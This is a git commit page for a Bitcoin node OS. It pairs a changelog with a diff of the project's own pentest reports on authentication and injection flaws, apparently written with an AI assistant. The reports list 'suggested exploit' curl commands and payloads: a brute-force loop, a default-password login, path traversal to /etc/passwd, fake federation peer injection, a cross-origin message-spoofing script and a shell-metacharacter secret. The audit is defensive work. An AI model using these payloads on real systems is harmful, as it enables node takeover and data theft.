feat: rootless podman, session hardening, boot stability, sidebar fix

Rootless podman migration (TASK-11):
- Remove sudo from all podman calls in PodmanClient + 8 backend files
- Remove sudo from all podman/docker calls in deploy script
- Restore full systemd security hardening: NoNewPrivileges,
  RestrictAddressFamilies, MemoryDenyWriteExecute, RestrictRealtime,
  RestrictNamespaces, RestrictSUIDSGID, SystemCallFilter, ProtectSystem=strict
- Enable loginctl linger for rootless container persistence
- Remove Ollama from auto-deploy (marketplace-only)

Session & auth hardening:
- Increase MAX_CONCURRENT_SESSIONS 20→50 (prevents eviction storms)
- Debounced 401 redirect in rpc-client.ts (prevents redirect storms)

Boot stability:
- optimize-debian.sh: adds chrony, swap, removes policy-rc.d
- deploy script: pre-restart chrony + swap setup
- ISO build: chrony package, swap file creation
- BootScreen: no longer clears localStorage (prevents splash replay)
- RootRedirect: sole owner of localStorage clearing on server ready

UI fixes:
- Sidebar opacity default changed from 0→visible (fixes missing sidebar
  after page-persistence login without entrance animation)
- Console.log/error wrapped in import.meta.env.DEV guards
- Remove unused route import from RootRedirect

Beta tracking:
- CLAUDE.md: beta freeze protocol added
- MASTER_PLAN.md: TASK-11, TASK-17, phase structure
- BETA-PROGRESS.md: initial tracking doc
- Tagged v1.2.0-alpha.1 as pre-rootless baseline

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
Dorian
2026-03-18 13:53:27 +00:00
parent 934d120243
commit 870ff095d8
48 changed files with 2979 additions and 2196 deletions

View File

@@ -1,494 +1,24 @@
Now I have a complete picture. Let me compile the full vulnerability report.
## Authentication & Authorization Assessment Complete
---
**15 findings** identified across the Archipelago auth surface. Here's the breakdown:
# Authentication & Authorization Vulnerability Assessment
### Critical (P0) — Fix immediately
- **AUTH-001**: Production systemd service has `ARCHIPELAGO_DEV_MODE=true``password123` is a valid login credential and `Secure` cookie flags are disabled
- **AUTH-002**: `/lnd-connect-info` exposes the **full LND admin macaroon** (Lightning node control) without any authentication, with `CORS: *`
- **AUTH-011**: Nginx AIUI proxy only checks `$cookie_session != ""` — any non-empty string bypasses auth to the Claude/OpenRouter API proxies
**Target:** http://192.168.1.228 (Archipelago Bitcoin Node OS)
**Scope:** Authentication, Authorization, and Session Management
**Method:** Source code review + limited live probing (backend was down during testing)
### High (P1) — Fix before beta
- **AUTH-003**: `remember` cookie (30-day TTL) not cleared on logout — stolen token auto-restores sessions indefinitely
- **AUTH-004**: CSRF validation explicitly skipped on remember-me session auto-restore — enables single-request CSRF attacks
- **AUTH-007/008**: Federation `peer-joined` and `peer-address-changed` accept arbitrary DIDs without cryptographic proof — attacker can inject fake trusted peers or redirect peer traffic
---
### Medium (P2)
- **AUTH-005**: Rate limit bypass via `X-Real-IP` spoofing on direct port 5678 access
- **AUTH-006**: `/content` leaks file catalog (names, sizes, UUIDs) without auth
- **AUTH-009**: `federation.get-state` leaks installed apps/versions without auth
- **AUTH-010**: `backup.restore-identity` can overwrite node identity even after setup
## AUTH-001: Complete Absence of Server-Side Session Management
### Positives
Session management is otherwise solid: 256-bit tokens, SHA256 server-side storage, bcrypt passwords, TOTP with Argon2id+ChaCha20 three-layer encryption, proper session rotation, and replay protection. The core auth architecture is good — these are mostly configuration issues and missing auth checks on specific endpoints.
**Type:** Missing Authentication
**Location:** `POST /rpc/v1` — all RPC methods
**Source file:** `core/archipelago/src/api/rpc/mod.rs:71-140`
**Confidence:** HIGH
The `auth.login` handler (`core/archipelago/src/api/rpc/auth.rs:5-32`) verifies the password against a bcrypt hash, then returns `serde_json::Value::Null`**no session token, no cookie, no JWT is created or returned**. There is zero server-side session state.
The `handle()` method at `mod.rs:71` receives the request, deserializes the JSON body, and dispatches directly to the method handler based on the `method` string. No middleware, no session check, no cookie validation occurs at any point in the request lifecycle.
**Evidence:**
- `auth.rs:31` returns `Ok(serde_json::Value::Null)` on successful login — no session created
- `handler.rs:34-75` routes requests with no middleware chain
- `server.rs:125-157` creates a raw hyper `service_fn` with no middleware wrapping
- The `core/startos/src/middleware/auth.rs` contains a full session middleware (`HasValidSession`, cookie parsing, SHA-256 token hashing, rate limiting) but it is **completely unused** by the archipelago binary
**Suggested exploit:**
```bash
# Any endpoint callable without any auth token/cookie
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node.did","params":{}}'
```
---
## AUTH-002: All 30+ Sensitive RPC Endpoints Callable Without Authentication
**Type:** Missing Authorization Checks on Sensitive Endpoints
**Location:** `POST /rpc/v1` with various `method` values
**Source file:** `core/archipelago/src/api/rpc/mod.rs:86-139`
**Confidence:** HIGH
Every RPC method is callable by any network client without authentication. The full list of unprotected methods:
| Category | Methods | Impact |
|----------|---------|--------|
| **Container control** | `container-install`, `container-start`, `container-stop`, `container-remove` | Full container lifecycle control |
| **Package management** | `package.install`, `package.start`, `package.stop`, `package.restart`, `package.uninstall` | Install/run arbitrary Docker images |
| **Cryptographic operations** | `node.signChallenge`, `node.createBackup` | Sign arbitrary data with node private key, export encrypted identity |
| **Identity exposure** | `node.did`, `node.nostr-pubkey`, `node.tor-address` | Leak node identity, Nostr keys, Tor hidden service address |
| **P2P operations** | `node-add-peer`, `node-remove-peer`, `node-send-message`, `node-list-peers` | Manipulate peer list, send messages as node |
| **Nostr publication** | `node.nostr-publish` | Publish node identity to Nostr relays |
| **Auth management** | `auth.changePassword`, `auth.resetOnboarding` | Reset onboarding state |
| **Bitcoin/Lightning** | `bitcoin.getinfo`, `lnd.getinfo` | Access chain/channel data |
**Evidence:** `mod.rs:86-139` — flat match statement with zero auth gating.
**Suggested exploit:**
```bash
# Install and run any container image
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.install","params":{"id":"malicious","dockerImage":"attacker/image:tag"}}'
# Sign arbitrary data with node's ed25519 private key
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node.signChallenge","params":{"challenge":"arbitrary data to sign"}}'
```
---
## AUTH-003: No Brute Force Protection on Login
**Type:** Missing Rate Limiting / Account Lockout
**Location:** `POST /rpc/v1` with `method: "auth.login"`
**Source file:** `core/archipelago/src/api/rpc/auth.rs:5-32`
**Confidence:** HIGH
The login handler has no rate limiting, no account lockout, no progressive delays, and no CAPTCHA. The `core/startos/src/middleware/auth.rs:240-256` implements rate limiting (3 attempts per 20 seconds) but this middleware is **not connected** to the archipelago backend.
Bcrypt hashing provides some natural slowdown (~100ms per attempt at DEFAULT_COST=12), allowing ~600 attempts/minute.
**Evidence:**
- `auth.rs:5-32` — straightforward password check with no rate limiting logic
- No rate-limiting state anywhere in the archipelago codebase
- No nginx rate limiting on `/rpc/` in `nginx-archipelago.conf`
**Suggested exploit:**
```bash
# Unlimited login attempts with no lockout
for pw in $(cat /path/to/wordlist.txt); do
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$pw\"}}"
done
```
---
## AUTH-004: Hardcoded Default Credentials (Dev Mode)
**Type:** Default/Test Credentials
**Location:** `POST /rpc/v1` with `method: "auth.login"`
**Source files:**
- `core/archipelago/src/api/rpc/mod.rs:40``DEV_DEFAULT_PASSWORD = "password123"`
- `core/archipelago/src/main.rs:47-53` — auto-creates user with default password
- `core/archipelago/src/api/rpc/auth.rs:17-20` — accepts default password when user not setup
**Confidence:** HIGH
When `dev_mode=true` in config:
1. `main.rs:49-50` auto-creates `user.json` with bcrypt hash of `"password123"`
2. `auth.rs:18` accepts `"password123"` even without user setup
The config defaults `dev_mode: false` (`config.rs:197`), but if the production server has `ARCHIPELAGO_DEV_MODE=true` in its environment or config, this backdoor is active. The CLAUDE.md confirms the dev server uses `password123`.
**Evidence:** The constant `DEV_DEFAULT_PASSWORD` is defined in two places (`mod.rs:40`, `main.rs:28`).
**Suggested exploit:**
```bash
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"auth.login","params":{"password":"password123"}}'
```
---
## AUTH-005: Frontend-Only Authentication Enforcement
**Type:** Client-Side Authentication Bypass
**Location:** Browser localStorage + Vue router guards
**Source files:**
- `neode-ui/src/stores/app.ts:12``isAuthenticated` based on localStorage
- `neode-ui/src/router/index.ts:157-214` — navigation guard
- `neode-ui/src/stores/app.ts:190-219` — session validation
**Confidence:** HIGH
Authentication enforcement exists **only** in the Vue.js frontend:
1. `app.ts:12` — auth state is `localStorage.getItem('neode-auth') === 'true'`
2. `app.ts:196` — session validation calls `server.echo` to "verify" the session
3. Since `server.echo` requires no authentication (it's just another unprotected RPC method), session validation **always succeeds** if the backend is reachable
This creates a circular trust problem: the frontend validates the session by calling an unprotected endpoint, which always succeeds, so `localStorage['neode-auth'] = 'true'` is sufficient to be "authenticated" forever.
**Evidence:**
- Router guard at `index.ts:183-193` — if `localStorage` says authenticated, user proceeds to protected routes, with session check (that always succeeds) running in background
- `app.ts:196``server.echo` always returns successfully regardless of auth state
**Suggested exploit:**
```javascript
// In browser console at http://192.168.1.228/login
localStorage.setItem('neode-auth', 'true')
window.location.href = '/dashboard'
// Full dashboard access without password
```
---
## AUTH-006: No-Op Logout Implementation
**Type:** Session Invalidation Failure
**Location:** `POST /rpc/v1` with `method: "auth.logout"`
**Source file:** `core/archipelago/src/api/rpc/auth.rs:34-36`
**Confidence:** HIGH
```rust
pub(super) async fn handle_auth_logout(&self) -> Result<serde_json::Value> {
Ok(serde_json::Value::Null)
}
```
The logout handler is a complete no-op. Since no session was ever created (AUTH-001), there is nothing to invalidate. The frontend logout (`app.ts:55-70`) clears localStorage and disconnects the WebSocket, but this is entirely client-side.
**Evidence:** Three lines of code, returns null immediately.
**Suggested exploit:** Not applicable — logout has no server-side effect because there is no server-side session.
---
## AUTH-007: Unauthenticated WebSocket Access
**Type:** Missing Authentication on Data Stream
**Location:** `GET /ws/db` (WebSocket upgrade)
**Source file:** `core/archipelago/src/api/handler.rs:42-44, 190-287`
**Confidence:** HIGH
The WebSocket endpoint at `/ws/db` (`handler.rs:42-43`) accepts connections without any authentication. Upon connection, it immediately sends the full server state dump (`handler.rs:216-223`) including:
- Node identity (pubkey, DID)
- Tor hidden service address
- All installed package states
- Server configuration
Any client on the network receives all state updates in real-time.
**Evidence:** `handler.rs:42-44` — WebSocket upgrade with no session/token check:
```rust
if method == Method::GET && path == "/ws/db" {
return Self::handle_websocket(req, self.state_manager.clone()).await;
}
```
**Suggested exploit:**
```javascript
const ws = new WebSocket('ws://192.168.1.228/ws/db')
ws.onmessage = (e) => console.log(JSON.parse(e.data))
// Receives full state dump immediately
```
---
## AUTH-008: Unauthenticated P2P Message Injection
**Type:** Missing Authentication + Missing Input Validation (Spoofing)
**Location:** `POST /archipelago/node-message`
**Source file:** `core/archipelago/src/api/handler.rs:125-145`, `core/archipelago/src/node_message.rs:26-38`
**Confidence:** HIGH
The P2P message endpoint accepts arbitrary `from_pubkey` and `message` values without:
1. Authentication of the sender
2. Signature verification (the `from_pubkey` is self-claimed, not cryptographically verified)
3. Any access control
Messages are stored in-memory (`node_message.rs:28-33`) and served to the UI. Spoofed messages are indistinguishable from legitimate ones.
**Evidence:** `handler.rs:131-137` — deserializes and stores without verification:
```rust
if let (Some(from), Some(msg)) = (incoming.from_pubkey, incoming.message) {
node_msg::store_received(&from, &msg).await;
}
```
**Suggested exploit:**
```bash
curl -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"spoofed_key_123","message":"Fake message from attacker"}'
```
---
## AUTH-009: CORS Wildcard on Non-RPC Endpoints
**Type:** Permissive CORS Policy
**Location:** Multiple HTTP endpoints
**Source file:** `core/archipelago/src/api/handler.rs:15, 108, 118, 142, 153, 173`
**Confidence:** HIGH
`CORS_ANY = "*"` is applied to these endpoints:
- `/api/container/logs` (line 108, 118)
- `/archipelago/node-message` (line 142)
- `/electrs-status` (line 153)
- `/proxy/lnd/*` (line 173)
This enables drive-by attacks from any website. A malicious webpage could inject P2P messages, read container logs, read electrs sync status, and proxy requests to LND.
Note: The main `/rpc/v1` endpoint does **not** set CORS headers (`handler.rs:164-168`), so browser-based cross-origin XHR to RPC is blocked. However, this only protects against browser-based attacks — direct curl/script access is unrestricted.
**Evidence:** `const CORS_ANY: &str = "*";` at `handler.rs:15`.
**Suggested exploit:**
```html
<!-- Attacker's webpage, visited by someone on the same network -->
<script>
// Inject spoofed P2P messages via CORS wildcard
fetch('http://192.168.1.228/archipelago/node-message', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({from_pubkey: 'attacker', message: 'phishing message'})
})
</script>
```
---
## AUTH-010: Weak Initial Password Policy
**Type:** Password Policy Enforcement Gap
**Location:** Frontend setup flow
**Source files:**
- `neode-ui/src/views/Login.vue:212` — 8-char minimum for initial setup
- `core/archipelago/src/auth.rs:172-190` — 12-char + complexity for password change
**Confidence:** MEDIUM
The initial password setup (Login.vue line 212) requires only 8 characters with no complexity requirements. The password change flow (`auth.rs:172-190`) requires 12+ characters with uppercase, lowercase, digit, and special character. This means the initial password can be significantly weaker than what's required for subsequent changes.
Note: The `auth.setup` method doesn't actually exist in the backend RPC handler (not in `mod.rs:86-139`), so the setup flow may only work via the mock backend in dev mode. However, `auth.rs:49` (`setup_user`) has no password strength validation either.
**Evidence:** `Login.vue:212`:
```typescript
if (password.value.length < 8) { ... }
```
vs `auth.rs:174`:
```rust
if password.len() < 12 { anyhow::bail!("Password must be at least 12 characters"); }
```
---
## AUTH-011: Unauthenticated LND Proxy (SSRF Vector)
**Type:** Missing Authorization + Server-Side Request Forgery
**Location:** `GET /proxy/lnd/*`
**Source file:** `core/archipelago/src/api/handler.rs:158-188`
**Confidence:** HIGH
The LND proxy at `/proxy/lnd/` forwards requests to `http://127.0.0.1:8080` without any authentication. The path suffix is directly concatenated into the URL (`handler.rs:159`):
```rust
let suffix = path.strip_prefix("/proxy/lnd").unwrap_or("/");
let url = format!("http://127.0.0.1:8080{}", suffix);
```
This exposes internal LND REST API endpoints to unauthenticated external access, and the path construction could potentially be abused for limited SSRF (though constrained to port 8080).
**Suggested exploit:**
```bash
# Access LND REST API without authentication
curl http://192.168.1.228/proxy/lnd/v1/getinfo
curl http://192.168.1.228/proxy/lnd/v1/balance/channels
```
---
## AUTH-012: Unauthenticated Container Log Access
**Type:** Missing Authorization on Sensitive Data
**Location:** `GET /api/container/logs?app_id=*`
**Source file:** `core/archipelago/src/api/handler.rs:64-66, 77-123`
**Confidence:** HIGH
Container logs are accessible without authentication via the HTTP GET endpoint. Logs can contain sensitive information (configuration, errors, internal IPs, credentials in error messages).
**Suggested exploit:**
```bash
curl "http://192.168.1.228/api/container/logs?app_id=lnd&lines=500"
curl "http://192.168.1.228/api/container/logs?app_id=bitcoin&lines=500"
```
---
## AUTH-013: Disconnected Authentication Infrastructure
**Type:** Architectural Authentication Gap
**Location:** `core/startos/src/middleware/auth.rs` vs `core/archipelago/`
**Source files:**
- `core/startos/src/middleware/auth.rs:1-285` — complete auth middleware (unused)
- `core/startos/src/middleware/mod.rs` — middleware module (unused)
**Confidence:** HIGH (informational)
A complete authentication middleware exists in the `startos` crate including:
- Session token validation via SHA-256 hashed cookies (`auth.rs:65-92`)
- Session creation with database persistence (`auth.rs:44-57`)
- Rate limiting: 3 login attempts per 20 seconds (`auth.rs:240-256`)
- `HasValidSession` guard pattern (`auth.rs:62`)
The archipelago backend binary **does not import or use** any of this middleware. The RPC handler was built from scratch without plugging into the existing auth infrastructure.
---
## Summary
| ID | Type | Endpoint | Confidence | Severity |
|----|------|----------|------------|----------|
| AUTH-001 | No session management | `/rpc/v1` (auth.login) | HIGH | CRITICAL |
| AUTH-002 | No auth on 30+ endpoints | `/rpc/v1` (all methods) | HIGH | CRITICAL |
| AUTH-003 | No brute force protection | `/rpc/v1` (auth.login) | HIGH | HIGH |
| AUTH-004 | Default credentials | `/rpc/v1` (auth.login) | HIGH | HIGH |
| AUTH-005 | Client-side auth only | Frontend router/localStorage | HIGH | CRITICAL |
| AUTH-006 | No-op logout | `/rpc/v1` (auth.logout) | HIGH | MEDIUM |
| AUTH-007 | Unauth WebSocket | `/ws/db` | HIGH | HIGH |
| AUTH-008 | Unauth message injection | `/archipelago/node-message` | HIGH | HIGH |
| AUTH-009 | CORS wildcard | Multiple non-RPC endpoints | HIGH | HIGH |
| AUTH-010 | Weak initial password | Frontend setup flow | MEDIUM | MEDIUM |
| AUTH-011 | Unauth LND proxy | `/proxy/lnd/*` | HIGH | HIGH |
| AUTH-012 | Unauth container logs | `/api/container/logs` | HIGH | MEDIUM |
| AUTH-013 | Disconnected auth infra | Architectural (informational) | HIGH | INFO |
The root cause is **AUTH-001**: the login flow verifies passwords but creates no session, and no middleware exists to check sessions on subsequent requests. All other findings flow from this architectural gap. The fix is to wire session creation into `auth.login`, add session cookies to responses, and add middleware before the RPC dispatch at `handler.rs:55` that validates session cookies on all non-public methods.
```json
{
"category": "auth",
"findings": [
{
"id": "AUTH-001",
"type": "missing_session_management",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}' — observe null response with no Set-Cookie header"
},
{
"id": "AUTH-002",
"type": "missing_authorization",
"endpoint": "/rpc/v1",
"parameter": "method=package.install|node.signChallenge|container-install|node.createBackup|...",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"node.did\",\"params\":{}}' — returns node identity without auth"
},
{
"id": "AUTH-003",
"type": "brute_force_no_protection",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password",
"confidence": "high",
"payload_suggestion": "Automated password spray against auth.login with no lockout or rate limit — bcrypt provides ~100ms delay per attempt"
},
{
"id": "AUTH-004",
"type": "default_credentials",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password=password123",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'"
},
{
"id": "AUTH-005",
"type": "client_side_auth_bypass",
"endpoint": "/dashboard",
"parameter": "localStorage['neode-auth']",
"confidence": "high",
"payload_suggestion": "In browser console: localStorage.setItem('neode-auth','true'); location.href='/dashboard' — full UI access without login"
},
{
"id": "AUTH-006",
"type": "session_invalidation_failure",
"endpoint": "/rpc/v1",
"parameter": "method=auth.logout",
"confidence": "high",
"payload_suggestion": "Logout is a no-op returning null — no server-side session to invalidate"
},
{
"id": "AUTH-007",
"type": "unauthenticated_websocket",
"endpoint": "/ws/db",
"parameter": "N/A",
"confidence": "high",
"payload_suggestion": "wscat -c ws://192.168.1.228/ws/db — receives full server state dump including node identity, Tor address, and all package states"
},
{
"id": "AUTH-008",
"type": "message_spoofing",
"endpoint": "/archipelago/node-message",
"parameter": "from_pubkey, message",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"spoofed\",\"message\":\"injected\"}'"
},
{
"id": "AUTH-009",
"type": "cors_wildcard",
"endpoint": "/archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "Drive-by attack from malicious webpage: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', ...}) — succeeds cross-origin"
},
{
"id": "AUTH-010",
"type": "weak_password_policy",
"endpoint": "/rpc/v1",
"parameter": "method=auth.setup (frontend only), password",
"confidence": "medium",
"payload_suggestion": "Initial setup accepts 8-char passwords without complexity; change requires 12+ with complexity"
},
{
"id": "AUTH-011",
"type": "unauthenticated_ssrf_proxy",
"endpoint": "/proxy/lnd/*",
"parameter": "path suffix",
"confidence": "high",
"payload_suggestion": "curl http://192.168.1.228/proxy/lnd/v1/getinfo — accesses LND REST API without authentication"
},
{
"id": "AUTH-012",
"type": "unauthenticated_data_access",
"endpoint": "/api/container/logs",
"parameter": "app_id, lines",
"confidence": "high",
"payload_suggestion": "curl 'http://192.168.1.228/api/container/logs?app_id=lnd&lines=500' — reads container logs without auth"
},
{
"id": "AUTH-013",
"type": "disconnected_auth_infrastructure",
"endpoint": "N/A (architectural)",
"parameter": "core/startos/src/middleware/auth.rs not wired to core/archipelago/",
"confidence": "high",
"payload_suggestion": "Informational: auth middleware exists in startos crate but is not imported by the archipelago binary"
}
]
}
```
Full report written to `loop/pentest/analysis/auth.md`.

View File

@@ -1,15 +1,307 @@
## Summary
Now I have all the data I need. Let me write the complete injection vulnerability analysis.
Found **7 injection vulnerabilities** across the active Archipelago backend:
---
| ID | Severity | Type | Key Risk |
|----|----------|------|----------|
| INJ-001 | **Critical** | Arbitrary File Read | `container-install` reads any file path as root |
| INJ-002 | **Critical** | Path Traversal → `rm -rf` | `package.uninstall` deletes arbitrary directories via `../` in `id` |
| INJ-003 | **Critical** | Arbitrary Volume Mount | `bundled-app-start` mounts any host path into attacker container |
| INJ-006 | **High** | Arbitrary Container Execution | `package.install` pulls/runs any Docker image from any registry |
| INJ-004 | **Medium** | SSRF / Unrestricted API Proxy | `/proxy/lnd/*` forwards to LND REST API without auth |
| INJ-005 | **Medium** | Argument Injection | Unsanitized `app_id`/`package_id` passed to podman commands |
| INJ-007 | **Low** | Log Injection | Unauthenticated P2P endpoint stores arbitrary content |
# Injection Vulnerability Analysis — Archipelago
**Root cause**: All these share a common pattern — user-controlled input from unauthenticated RPC calls flows directly into privileged operations (file I/O, process execution, container orchestration) without validation or sanitization. The most impactful fix would be wiring authentication middleware into the HTTP handler, followed by input validation on all `app_id`, `package_id`, `manifest_path`, and `volumes` parameters.
## Methodology
Traced all user-controlled inputs from RPC handlers, HTTP endpoints, and unauthenticated federation methods through to:
- File system operations (`Path::join`, `fs::read`, `fs::write`)
- Shell command execution (`Command::new("sh").arg("-c")`, `format!` into `--health-cmd`)
- Data store writes (JSON catalog, federation nodes)
Examined ~150 RPC methods, all HTTP routes in `handler.rs`, nginx proxy configs, and the Vite dev proxy.
## Findings
---
### INJ-001: Path Traversal via Content Filename
**Type**: Path Traversal
**Location**: RPC method `content.add`, parameter `filename`
**Source file**: `core/archipelago/src/api/rpc/content.rs:24-49` + `core/archipelago/src/content_server.rs:94-112`
**Confidence**: **high**
**Evidence**: The `handle_content_add` handler accepts an arbitrary `filename` string from user params with zero validation:
```rust
// content.rs:24-27
let filename = params.get("filename").and_then(|v| v.as_str())
.ok_or_else(|| anyhow::anyhow!("Missing filename"))?;
```
This filename is stored in the catalog and later used in `content_file_path()`:
```rust
// content_server.rs:96
let clean_name = item.filename.trim_start_matches('/');
let primary = data_dir.join(CONTENT_DIR).join(clean_name); // No .. check!
```
`trim_start_matches('/')` strips leading slashes but does NOT strip `..` sequences. A filename like `../../etc/shadow` resolves to `{data_dir}/content/files/../../etc/shadow``/var/lib/archipelago/content/../../etc/shadow``/var/lib/etc/shadow` (or deeper traversals reach `/etc/shadow`).
When a peer later requests `/content/{uuid}`, `serve_content()` looks up the item by UUID (safely validated) but then calls `content_file_path()` with the attacker-controlled filename, serving arbitrary files.
**Requires**: Authentication (content.add is not in UNAUTHENTICATED_METHODS). But once added, content is served to unauthenticated peers.
**Suggested exploit**:
```json
{"method": "content.add", "params": {"filename": "../../../etc/passwd", "mime_type": "text/plain"}}
```
Then: `GET /content/{returned-uuid}` serves `/etc/passwd`.
---
### INJ-002: Path Traversal via Backup USB Mount Point
**Type**: Path Traversal
**Location**: RPC method `backup.to-usb`, parameter `mount_point`
**Source file**: `core/archipelago/src/api/rpc/backup_rpc.rs:137-149` + `core/archipelago/src/backup/full.rs:324-338`
**Confidence**: **medium**
**Evidence**: The `handle_backup_to_usb` handler takes `mount_point` directly from user params and passes it to `backup_to_usb()`:
```rust
// backup_rpc.rs:145-149
let mount_point = params["mount_point"].as_str()
.ok_or_else(|| anyhow::anyhow!("Missing 'mount_point' parameter"))?;
let dest = full::backup_to_usb(&self.config.data_dir, id, mount_point).await?;
```
In `backup_to_usb()`:
```rust
// full.rs:334-337
let mount_path = Path::new(mount_point);
if !mount_path.exists() || !mount_path.is_dir() {
anyhow::bail!("Mount point not accessible");
}
let dest_dir = mount_path.join("archipelago-backups");
fs::create_dir_all(&dest_dir).await?;
```
No canonicalization, no boundary check. An attacker can write backup files to any writable directory on the filesystem. While the write goes into a subdirectory `archipelago-backups/`, it still creates directories and writes encrypted backup blobs to arbitrary locations.
**Requires**: Authentication.
**Suggested exploit**:
```json
{"method": "backup.to-usb", "params": {"id": "existing-backup-id", "mount_point": "/tmp"}}
```
Creates `/tmp/archipelago-backups/` and writes backup there.
---
### INJ-003: Unauthenticated Federation Node Injection (No DID Validation)
**Type**: Data Injection / Authentication Bypass
**Location**: RPC method `federation.peer-joined` (UNAUTHENTICATED), parameters `did`, `onion`, `pubkey`
**Source file**: `core/archipelago/src/api/rpc/federation.rs:336-374`
**Confidence**: **high**
**Evidence**: This method is in `UNAUTHENTICATED_METHODS` (no session required) and accepts arbitrary peer data with NO signature verification and NO `validate_did()` call:
```rust
// federation.rs:340-370
let did = params.get("did").and_then(|v| v.as_str())...;
let onion = params.get("onion").and_then(|v| v.as_str())...;
let pubkey = params.get("pubkey").and_then(|v| v.as_str())...;
// NO validate_did(did)? call here!
// NO signature verification!
let node = FederatedNode {
did: did.to_string(),
trust_level: TrustLevel::Trusted, // Auto-trusted!
...
};
federation::add_node(&self.config.data_dir, node).await?;
```
Compare with other federation methods that DO call `validate_did()`. This method doesn't, AND it sets `TrustLevel::Trusted` automatically. An attacker on the LAN can inject arbitrary trusted peers. The injected DID could contain path traversal characters since `validate_did()` is never called.
**Suggested exploit**:
```bash
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"federation.peer-joined","params":{"did":"did:key:z6MkATTACKER","onion":"attacker.onion","pubkey":"deadbeef"}}'
```
---
### INJ-004: Unauthenticated Federation Address Hijacking
**Type**: Data Injection
**Location**: RPC method `federation.peer-address-changed` (UNAUTHENTICATED), parameters `did`, `new_onion`
**Source file**: `core/archipelago/src/api/rpc/federation.rs:426-464`
**Confidence**: **high**
**Evidence**: Unauthenticated method that updates any known peer's onion address without proof of ownership:
```rust
// federation.rs:431-448
let did = params.get("did")...;
let new_onion = params.get("new_onion")...;
let found = nodes.iter_mut().find(|n| n.did == did);
node.onion = new_onion.to_string(); // No signature check!
```
Combined with INJ-003, an attacker can: (1) discover peer DIDs via `federation.get-state` (also unauthenticated), (2) change any peer's address to their own, redirecting federation traffic.
**Suggested exploit**:
```bash
# Step 1: Get known peer DIDs
curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.get-state"}'
# Step 2: Redirect peer traffic
curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.peer-address-changed","params":{"did":"did:key:z6Mk...","new_onion":"attacker.onion"}}'
```
---
### INJ-005: Shell Injection via Health Check Command (RPC Password)
**Type**: Command Injection
**Location**: `get_health_check_args()``--health-cmd` podman arg
**Source file**: `core/archipelago/src/api/rpc/package.rs:1323-1324`
**Confidence**: **low**
**Evidence**: The Bitcoin RPC password is interpolated into a shell command string:
```rust
let btc_health = format!(
"bitcoin-cli -rpcuser=archipelago -rpcpassword={} getblockchaininfo || exit 1",
rpc_pass
);
```
This becomes `--health-cmd=...` passed to `podman run`. If `rpc_pass` contains shell metacharacters (`$()`, backticks, `;`, `|`), arbitrary commands execute inside the Bitcoin container during health checks.
The password comes from `/var/lib/archipelago/secrets/bitcoin-rpc-password` or `BITCOIN_RPC_PASSWORD` env var — not directly from RPC input. Exploitation requires either: (a) writing to the secrets file, or (b) controlling the environment variable. The command runs inside the container, not on the host.
**Suggested exploit**: If you can write to the secrets file:
```
echo '$(touch /tmp/pwned)' > /var/lib/archipelago/secrets/bitcoin-rpc-password
```
Then install/restart the bitcoin container.
---
### INJ-006: Exec Health Check Command Injection via Manifest
**Type**: Command Injection
**Location**: `check_exec_health()``podman exec sh -c {endpoint}`
**Source file**: `core/container/src/health_monitor.rs:75-90`
**Confidence**: **low**
**Evidence**: The health check endpoint string is passed directly to `sh -c` inside a container:
```rust
let output = Command::new("podman")
.arg("exec").arg(&self.container_name)
.arg("sh").arg("-c").arg(endpoint) // Unvalidated
.output().await;
```
The `endpoint` comes from `HealthCheck` struct, which is populated from app manifests. If an attacker can modify a manifest file or if the manifest system accepts user-uploaded manifests, this becomes exploitable. Currently, manifests come from validated local files with `canonicalize()` + boundary checks on the path, so exploitation is unlikely.
---
### INJ-007: Parmanode Script Content Injection
**Type**: Command Injection (indirect)
**Location**: `ParmanodeScriptRunner::run_script()`
**Source file**: `core/parmanode/src/script_runner.rs:54-88`
**Confidence**: **low**
**Evidence**: Script file content is read and embedded verbatim into a shell wrapper:
```rust
let script_content = fs::read_to_string(script_path).await?;
let wrapper_script = format!("#!/bin/sh\nset -e\n{}\n", script_content);
```
Then written to `/tmp/parmanode-{name}.sh` and executed in an Alpine container. The temp file path uses `script_name` (derived from `file_stem()`) which could contain shell metacharacters in the filename. However, the script_path is derived from `module_path.join("install.sh")`, which is locally controlled.
Additionally, `/tmp` is world-writable — a TOCTOU race condition could replace the temp file between write and execution.
---
## Non-Findings (Verified Secure)
| Area | Status | Details |
|------|--------|---------|
| **SQL Injection** | N/A | No SQL database; all storage is JSON files via serde |
| **SSTI** | N/A | No template engines (no tera, handlebars, askama); backend returns pure JSON |
| **App ID injection** | Secure | `validate_app_id()` enforces `[a-z0-9-]` whitelist, max 64 chars |
